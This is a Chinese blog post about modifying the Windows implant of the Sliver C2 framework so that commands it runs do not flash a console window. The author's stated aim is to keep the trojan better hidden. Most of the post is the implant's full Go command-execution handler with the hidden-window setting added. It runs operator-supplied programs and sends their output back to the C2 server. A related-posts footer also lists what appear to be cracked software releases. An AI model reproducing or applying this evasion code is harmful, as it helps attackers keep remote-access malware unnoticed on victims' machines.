首页 > 其他分享 >c2工具sliver 执行木马命令后会弹窗一闪而过

c2工具sliver 执行木马命令后会弹窗一闪而过

时间:2023-08-21 19:33:05浏览次数:42  
标签:nil err execReq cmd execResp c2 Response 弹窗 sliver

向木马发出指令后, 如果是cmd命令会有一个黑窗口一闪而灭, 不利于木马隐藏, 需要将executeHandlerhandlers.go拷贝到handlers_windows.go里,核心代码为 cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}表示隐藏命令弹窗

func executeHandler(data []byte, resp RPCResponse) {
	var (
		err       error
		stdErr    io.Writer
		stdOut    io.Writer
		errWriter *bufio.Writer
		outWriter *bufio.Writer
	)
	execReq := &sliverpb.ExecuteReq{}
	err = proto.Unmarshal(data, execReq)
	if err != nil {
		// {{if .Config.Debug}}
		log.Printf("error decoding message: %v", err)
		// {{end}}
		return
	}

	execResp := &sliverpb.Execute{}
	exePath, err := expandPath(execReq.Path)
	if err != nil {
		execResp.Response = &commonpb.Response{
			Err: fmt.Sprintf("%s", err),
		}
		proto.Marshal(execResp)
		resp(data, err)
		return
	}
	cmd := exec.Command(exePath, execReq.Args...)
	cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}

	if execReq.Output {
		stdOutBuff := new(bytes.Buffer)
		stdErrBuff := new(bytes.Buffer)
		stdErr = stdErrBuff
		stdOut = stdOutBuff
		if execReq.Stderr != "" {
			stdErrFile, err := os.Create(execReq.Stderr)
			if err != nil {
				execResp.Response = &commonpb.Response{
					Err: fmt.Sprintf("%s", err),
				}
				proto.Marshal(execResp)
				resp(data, err)
				return
			}
			defer stdErrFile.Close()
			errWriter = bufio.NewWriter(stdErrFile)
			stdErr = io.MultiWriter(errWriter, stdErrBuff)
		}
		if execReq.Stdout != "" {
			stdOutFile, err := os.Create(execReq.Stdout)
			if err != nil {
				execResp.Response = &commonpb.Response{
					Err: fmt.Sprintf("%s", err),
				}
				proto.Marshal(execResp)
				resp(data, err)
				return
			}
			defer stdOutFile.Close()
			outWriter = bufio.NewWriter(stdOutFile)
			stdOut = io.MultiWriter(outWriter, stdOutBuff)
		}
		cmd.Stdout = stdOut
		cmd.Stderr = stdErr
		err := cmd.Run()
		//{{if .Config.Debug}}
		log.Printf("Exec (%v): %s", err, string(stdOutBuff.String()))
		//{{end}}
		if err != nil {
			// Exit errors are not a failure of the RPC, but of the command.
			if exiterr, ok := err.(*exec.ExitError); ok {
				execResp.Status = uint32(exiterr.ExitCode())
			} else {
				execResp.Response = &commonpb.Response{
					Err: fmt.Sprintf("%s", err),
				}
			}
		}
		if errWriter != nil {
			errWriter.Flush()
		}
		if outWriter != nil {
			outWriter.Flush()
		}
		execResp.Stderr = stdErrBuff.Bytes()
		execResp.Stdout = stdOutBuff.Bytes()
		if cmd.Process != nil {
			execResp.Pid = uint32(cmd.Process.Pid)
		}
	} else {
		err = cmd.Start()
		if err != nil {
			execResp.Response = &commonpb.Response{
				Err: fmt.Sprintf("%s", err),
			}
		}

		go func() {
			cmd.Wait()
		}()

		if cmd.Process != nil {
			execResp.Pid = uint32(cmd.Process.Pid)
		}
	}
	data, err = proto.Marshal(execResp)
	resp(data, err)
}

标签:nil,err,execReq,cmd,execResp,c2,Response,弹窗,sliver
From: https://www.cnblogs.com/gatling/p/17646853.html

相关文章

  • c2工具sliver的python客户端无法修改grpc超时时间的解决办法
    业务需要,调用了很多implants来执行对应系统上的命令,但是无论怎么指定interactive.py中execute方法参数,命令执行超时时间总是30.后面通过扩展execute方法增加一个grpc超时参数后解决;具体方法如下:asyncdefexecute_ex(self,exe:str,args:List[str],output:bool,tim......
  • 在f1c100s芯片上移植spi网卡enc28j60的linux驱动
    前言我个人与全志的芯片颇有故事。在我还是一个不懂事的高中生时,我看到荔枝派的官方文档,顿时被这小小的板子给吸引住。点开文档的初见:荔枝派Nano(下面简称Nano)是一款精致迷你的Arm9核心板/开发板,可用于初学者学习linux或者商用于产品开发。Nano在与SD卡相当的尺寸上(25.4*3......
  • [ABC297G] Constrained Nim 2 题解
    题意有\(N\)堆石子,其中第\(i\)堆有\(A_i\)个石子。每次可以选一堆从中取\(\left[L,R\right]\)个,问判断先手后手胜负。(\(1\leN\le2\times10^5,1\leL\leR\le10^9,1\leA_i\le10^9\))。题解考虑子游戏,即只有一堆石子的情况,考虑其\(\operatorname{SG}\)......
  • Adobe Acrobat DC2023完美内置激活版本
    AdobeAcrobatDC是由AdobeSystems开发的一款PDF文档处理软件,它是Adobe公司的一款核心产品之一,被广泛应用于个人、企业和政府机构等各种领域。AdobeAcrobatDC具有许多功能和特点,包括创建、编辑、注释、转换、共享和保护PDF文档等。此外,它还支持多语言和多平台,包括Windows、MacO......
  • 最完美LTSC2019_19H1.17763.4737软件选装纯净版VIP51.8
    【系统简介】=============================================================1.本次更新母盘来自LTSC2019_19H1.17763.4737。进一步精简优化调整。2.只为呈现最好的作品,手工精简优化部分较多。3.OS版本号为17763.4737。个别要求高的就下MSDN吧,里面啥功能都有。4.集成《DrvCeo-2.13......
  • P9556 [SDCPC2023] A-Orders 题解
    题目传送门一道模拟题。可以命名一个订单的结构体,然后将订单的结束时间进行排序。用一个变量模拟货物的数量,每遇到一个订单,货物的数量就会加上距离上一个订单的天数乘上\(k\)。即对于第\(i\)个订单,距离第\(i-1\)订单货物数量增加了\((a_{i}-a_{i-1})\timesk\)。如果在模......
  • 如何使用兔小巢更新弹窗
    如何使用兔小巢更新弹窗以前端为列子首先创建一个页面<!DOCTYPE html><html lang="en">  <head>    <meta charset="UTF-8" />    <meta http-equiv="X-UA-Compatible" content="IE=edge" />    <meta name=&q......
  • 「BJWC2012」冻结题解
    「BJWC2012」冻结题解一.题目"我要成为魔法少女!""那么,以灵魂为代价,你希望得到什么?""我要将有关魔法和奇迹的一切,封印于卡片之中"在这个愿望被实现以后的世界里,人们享受着魔法卡片(SpellCard,又名符卡)带来的便捷。现在,不需要立下契约也可以使用魔法了!你还不来试一试?比如,我们在......
  • [THUPC2022 初赛] 造计算机
    题目传送门更好的阅读体验思路结论:如果序列原先就合法,答案为\(0\);否则,最多使用两个寄存器。我们对\(i\rightarrowa_i\)建边得到若干个环,我们单独考虑一个环如何操作。对于一个长度为\(4\)的数列,再包含两个寄存器,设两个寄存器的值分别为\(x,y\)。显然\(4,1,3\)......
  • sol. ABC246Ex
    动态DP模板题[ABC246Ex]01?Queries题目大意:给定一个长度为\(N\)且只包含?,1,0的字符串\(a\)。\(Q\)次操作,每次操作会修改字符串中的一个字符,并求出此时整个字符串中本质不同的子序列个数。众所周知,动态DP依然是DP的一种。先考虑没有修改操作,那么本题变为一个普......